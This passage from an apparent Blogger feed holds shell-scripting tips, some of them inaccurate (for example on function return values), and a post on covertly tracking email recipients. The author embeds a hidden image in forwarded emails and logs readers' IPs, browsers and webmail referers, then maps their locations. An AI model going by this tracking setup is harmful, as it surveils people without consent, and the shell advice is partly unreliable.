id="line-80"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Numbercomparison"&gt;Number comparison&lt;/h3&gt;&lt;span class="anchor" id="line-81"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;When you are comparing numbers in a conditional clause you must do it in the following way, this is, using -eq, -lt, -gt, etc. &lt;span class="anchor" id="line-82"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-83"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-84"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;if [ 1 -eq $i ]&lt;/pre&gt;&lt;span class="anchor" id="line-85"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Bear in mind there shouldn't be any blank space surrounding the &lt;b&gt;=&lt;/b&gt; sign &lt;span class="anchor" id="line-86"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-87"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Functionreturnvalue"&gt;Function return value&lt;/h3&gt;&lt;span class="anchor" id="line-88"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Shell script  does not have "return" clause, therefore the first value you "echoed"  inside a function is taken as the return value. Wait I didn't explain how  to define a function: &lt;/div&gt;&lt;pre&gt;function_A(){&lt;br /&gt;sum=`expr $1 + $2`&lt;br /&gt;echo "Im the return value:$sum"&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;param1=1&lt;br /&gt;param2=2&lt;br /&gt;echo `function_A $param1 $param2`&lt;/pre&gt;&lt;span class="anchor" id="line-99"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Keep an eye on the following things &lt;span class="anchor" id="line-100"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;The function declaration does not declare parameter types and therefore parentheses are always with no parameters inside &lt;span class="anchor" id="line-101"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;The parameters are accesses as $N where "N" is the number of the parameter ($1=param1,$2=param2) &lt;span class="anchor" id="line-102"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;In the function invocation the parameters are specified next to the function name without parenthesis. &lt;/li&gt;&lt;/ul&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-104"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Debugginhelp"&gt;Debugging help&lt;/h3&gt;&lt;span class="anchor" id="line-105"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;When you  have nested loops you want to stop things to see how the script is  running, you can achieve this by using a "readline" stop that will be  continued after you press the enter key: &lt;span class="anchor" id="line-106"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-107"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-108"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-109"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-110"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;...&lt;br /&gt;read $foo&lt;br /&gt;...&lt;/pre&gt;&lt;span class="anchor" id="line-111"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-112"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Floatingpointcalculation"&gt;Floating point calculation&lt;/h3&gt;&lt;span class="anchor" id="line-113"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Believe it  or not but you cannot use decimal numbers inside shell script, therefore  you carry those decimal/floating point numbers contained in string  variables and then you operate them with a command called &lt;b&gt;bc&lt;/b&gt;. An example can be seen below: &lt;span class="anchor" id="line-114"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-115"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-116"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-117"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-118"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-119"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-120"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-121"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-122"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-123"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;function_A(){&lt;br /&gt;sum=`echo "$1+$2"|bc`&lt;br /&gt;echo "Im the return value:$sum"&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;param1=1.2&lt;br /&gt;param2=2.8&lt;br /&gt;echo `function_A $param1 $param2`&lt;/pre&gt;&lt;span class="anchor" id="line-124"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-125"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Strictlyintegervariables"&gt;Strictly integer variables&lt;/h3&gt;&lt;span class="anchor" id="line-126"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Variables  in Shellscript tend to be types-bisexual they can accept strings or  numbers. In some conditional clauses we see that the shellscript parser  is complaining about the types that should be equal. For this cases you  can define an strictly int variable and assign it a number from a string  variable that will be casted to integer. &lt;span class="anchor" id="line-127"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-128"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-129"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-130"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-131"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-132"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-133"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;max_hits=10&lt;br /&gt;typeset -i hit=0&lt;br /&gt;hit="4"&lt;br /&gt;if [ $max_hits -lt $hit ]&lt;br /&gt;...&lt;/pre&gt;&lt;span class="anchor" id="line-134"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Otherwise in the if clause we would see an "unary operation expected" exception. &lt;span class="anchor" id="line-135"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-136"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Basharrays"&gt;Bash arrays&lt;/h3&gt;&lt;span class="anchor" id="line-137"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;wow yeah! Bash shell do handle arrays, its usage is describe in the following examples &lt;span class="anchor" id="line-138"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-139"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-140"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-141"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-142"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-143"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-144"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-145"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-146"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-147"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-148"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-149"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;#instantiation example&lt;br /&gt;array=(11 2 3 4 5 10 8)&lt;br /&gt;#or&lt;br /&gt;array[0]=0&lt;br /&gt;#length&lt;br /&gt;${#ports[*]}&lt;br /&gt;#read form it, $i is a number&lt;br /&gt;${ports[$i]}&lt;br /&gt;#write to it, $i is a number&lt;br /&gt;ports[$i]=7&lt;/pre&gt;&lt;span class="anchor" id="line-150"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-151"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Concurrentexecution"&gt;Concurrent execution&lt;/h3&gt;&lt;span class="anchor" id="line-152"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Commands in  a shellscript are executed in sequential order, this is command in line  4 won't be executed before command in line 3 is finished. If we wanted  the script not to wait for certain commands or group or commands we use  the &lt;b&gt;&amp;amp;&lt;/b&gt; symbol. &lt;span class="anchor" id="line-153"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-154"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-155"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-156"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-157"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-158"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-159"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-160"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-161"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-162"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-163"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;&lt;/pre&gt;&lt;span class="anchor" id="line-164"&gt;&lt;/span&gt;The sequential execution 4 will appear before the execution 3 because the concurrent lines do not make the script wait for them&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-4734690209921468459?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/4734690209921468459/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/11/shellscript-nightmares.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/4734690209921468459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/4734690209921468459'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/11/shellscript-nightmares.html' title='ShellScript Nightmares'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-6135149636292518296</id><published>2010-11-27T21:13:00.001-05:00</published><updated>2011-01-23T01:31:36.347-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='geolocation'/><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><category scheme='http://www.blogger.com/atom/ns#' term='google maps'/><title type='text'>The dumb mail project</title><content type='html'>&lt;h1 id="TheDUMBMAILproject"&gt;&lt;/h1&gt;&lt;span class="anchor" id="line-2"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-3"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="WTF.3F.3F"&gt;WTF??&lt;/h2&gt;&lt;span class="anchor" id="line-4"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;For ages I  have tried to educate my friends and relatives about not spreading hoax  mails and stuff like that and I astonishingly see that they keep on sending  that sxxt! Instead of surrendering against it, I will just try to have  some fun about it. &lt;span class="anchor" id="line-5"&gt;&lt;/span&gt;My plan is doing the following: &lt;span class="anchor" id="line-6"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line862"&gt;forward those hoax and non hoax mails with a small tux pic &lt;img alt="tux.gif" class="attachment" src="http://wiki.eslimasec.com/esliwiki/TheDumbMailProjectPost?action=AttachFile&amp;amp;do=get&amp;amp;target=tux.gif" title="tux.gif" /&gt; hosted in a server I own. &lt;span class="anchor" id="line-7"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;Study the path and behaviour of that emails and people who are opening it. &lt;span class="anchor" id="line-8"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;take some conclusions, plot maps, etc...we will see. &lt;span class="anchor" id="line-9"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-10"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;b&gt;Some results can be seen in the end of this post.&lt;/b&gt; &lt;span class="anchor" id="line-11"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h2 id="Requirements"&gt;Requirements&lt;/h2&gt;&lt;span class="anchor" id="line-12"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;What I used: &lt;span class="anchor" id="line-13"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;apache2 &lt;span class="anchor" id="line-14"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;the gimp &lt;span class="anchor" id="line-15"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;a sub domain thedumpmail.eslimasec.com &lt;span class="anchor" id="line-16"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;an email account that we all have crowded of hoax and similar stuff &lt;span class="anchor" id="line-17"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-18"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Thepic"&gt;The pic&lt;/h2&gt;&lt;span class="anchor" id="line-19"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Edited tux image with gimp so that It's small. &lt;span class="anchor" id="line-20"&gt;&lt;/span&gt;&lt;img alt="tux.gif" class="attachment" src="http://wiki.eslimasec.com/esliwiki/TheDumbMailProjectPost?action=AttachFile&amp;amp;do=get&amp;amp;target=tux.gif" title="tux.gif" /&gt; &lt;span class="anchor" id="line-21"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-22"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-23"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-24"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;$ file tux.gif&lt;br /&gt;tux.gif: GIF image data, version 89a, 10 x 12&lt;/pre&gt;&lt;span class="anchor" id="line-25"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-26"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Apache2configuration"&gt;Apache2 configuration&lt;/h2&gt;&lt;span class="anchor" id="line-27"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Created a custom log in apache adequate for my needs: &lt;span class="anchor" id="line-28"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;referral: to try to see which email service are using the users &lt;span class="anchor" id="line-29"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;date and time &lt;span class="anchor" id="line-30"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;originatin ip &lt;span class="anchor" id="line-31"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;user agent: to see which web browsers are using the users &lt;span class="anchor" id="line-32"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-33"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line862"&gt;In the file &lt;b&gt;/etc/apache2/apache2.conf&lt;/b&gt; we have some already-defined log formats &lt;span class="anchor" id="line-34"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-35"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-36"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-37"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-38"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-39"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;LogFormat "%h %l %u %t \"%r\" %&amp;gt;s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined&lt;br /&gt;LogFormat "%h %l %u %t \"%r\" %&amp;gt;s %b" common&lt;br /&gt;LogFormat "%{Referer}i -&amp;gt; %U" referer&lt;br /&gt;LogFormat "%{User-agent}i" agent&lt;/pre&gt;&lt;span class="anchor" id="line-40"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-41"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;I added a new custom log format under the name dumbmail,I wanted the date to be yymmddhhmmss for tracing purposes &lt;span class="anchor" id="line-42"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-43"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-44"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;LogFormat "%{%y%m%d%H%M%S}t|%h|%r|%{Referer}i|%{User-agent}i" dumbmail&lt;/pre&gt;&lt;span class="anchor" id="line-45"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;The  brackets before the i variable are there because "%i" is an array  containing information sent from the user browser, but I only need the  user-agent and the referer field. &lt;span class="anchor" id="line-46"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-47"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;As  I want to see how different types of emails are spreading into the net I  needed an easy/automatic way of differentiate which connection received  belongs to which mail. I solved this by creating a redirect, this is,  an only tux.gif resource exists on my server but It will be accessed by  different URLs that allow me to infer which email the users are reading.  &lt;/div&gt;&lt;div class="line874"&gt;I will copy the virtual host definition I created: &lt;span class="anchor" id="line-50"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-51"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-52"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-53"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-54"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-55"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-56"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-57"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;&amp;lt;VirtualHost *&amp;gt;&lt;br /&gt;        ServerName thedumbmail.eslimasec.com&lt;br /&gt;        DocumentRoot /var/www/thedumbmail&lt;br /&gt;        CustomLog /var/log/dumbmail.log dumbmail&lt;br /&gt;        RedirectMatch ^/test tux.gif&lt;br /&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/pre&gt;&lt;span class="anchor" id="line-58"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;By  the way I dont want that file to be rotated so Ill take care my self of  compressing or managing it in some way.As you can see when a request  starting by test comes to my virtual host its redirected to tux.gif &lt;span class="anchor" id="line-59"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-60"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Forwadingtheemails"&gt;Forwading the emails&lt;/h2&gt;&lt;span class="anchor" id="line-61"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-62"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;finally I edited the mails in html mode adding the following &lt;span class="anchor" id="line-63"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-64"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-65"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;&amp;lt;IMG alt="" src="http://thedumbmail.eslimasec.com/test#.gif" &amp;gt;&lt;/pre&gt;&lt;span class="anchor" id="line-66"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;where # is the test number I am sending. Each test corresponds to a certail email Im forwarding. &lt;span class="anchor" id="line-67"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-68"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Theresultinglogfile"&gt;The resulting log file&lt;/h2&gt;&lt;span class="anchor" id="line-69"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-70"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;The  result in my log files are get request to the different test# urls Im  forwarding in the emails. As you can see first they "touch" the  test#.gif  resource and are redirected to the tux.gif.  &lt;span class="anchor" id="line-71"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-72"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-73"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-74"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-75"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-76"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;081129154722|85.54.133.25|GET /test3.gif HTTP/1.1|http://bl120w.blu120.mail.live.com/mail/InboxLight.aspx?n=443239984|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)&lt;br /&gt;&lt;br /&gt;081129154722|85.54.133.25|GET /tux.gif HTTP/1.1|http://bl120w.blu120.mail.live.com/mail/InboxLight.aspx?n=443239984|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)&lt;/pre&gt;&lt;span class="anchor" id="line-77"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-78"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Apache  offers some conditional login facility that will allow me log only the  interesting connections which are those ones that refer to the test#.  You only have to add the following to your virtualhost configuration &lt;span class="anchor" id="line-79"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-80"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-81"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-82"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;SetEnvIf Request_URI "tux.gif$" dontlog&lt;br /&gt;        CustomLog /var/log/dumbmail.log dumbmail env=!dontlog&lt;/pre&gt;&lt;span class="anchor" id="line-83"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-84"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Exploitingtheinformation"&gt;Exploiting the information&lt;/h2&gt;&lt;span class="anchor" id="line-85"&gt;&lt;/span&gt;With the  information gathered I am plotting a map that you can see in the  following link. The numbers are ordered based on timestamp information: &lt;span class="anchor" id="line-86"&gt;&lt;/span&gt;&lt;a class="http" href="http://www.eslimasec.com/thedumbmail/dumbmap_test4.html"&gt;http://www.eslimasec.com/thedumbmail/dumbmap_test4.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-6135149636292518296?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/6135149636292518296/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/11/dumb-mail-project.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/6135149636292518296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/6135149636292518296'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/11/dumb-mail-project.html' title='The dumb mail project'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-746708292197498389</id><published>2010-08-31T22:12:00.002-04:00</published><updated>2010-08-31T22:12:54.306-04:00</updated><title type='text'>Back soon!!</title><content type='html'>Don´t be so impatient...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-746708292197498389?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/746708292197498389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/08/back-soon.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/746708292197498389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/746708292197498389'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/08/back-soon.html' title='Back soon!!'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
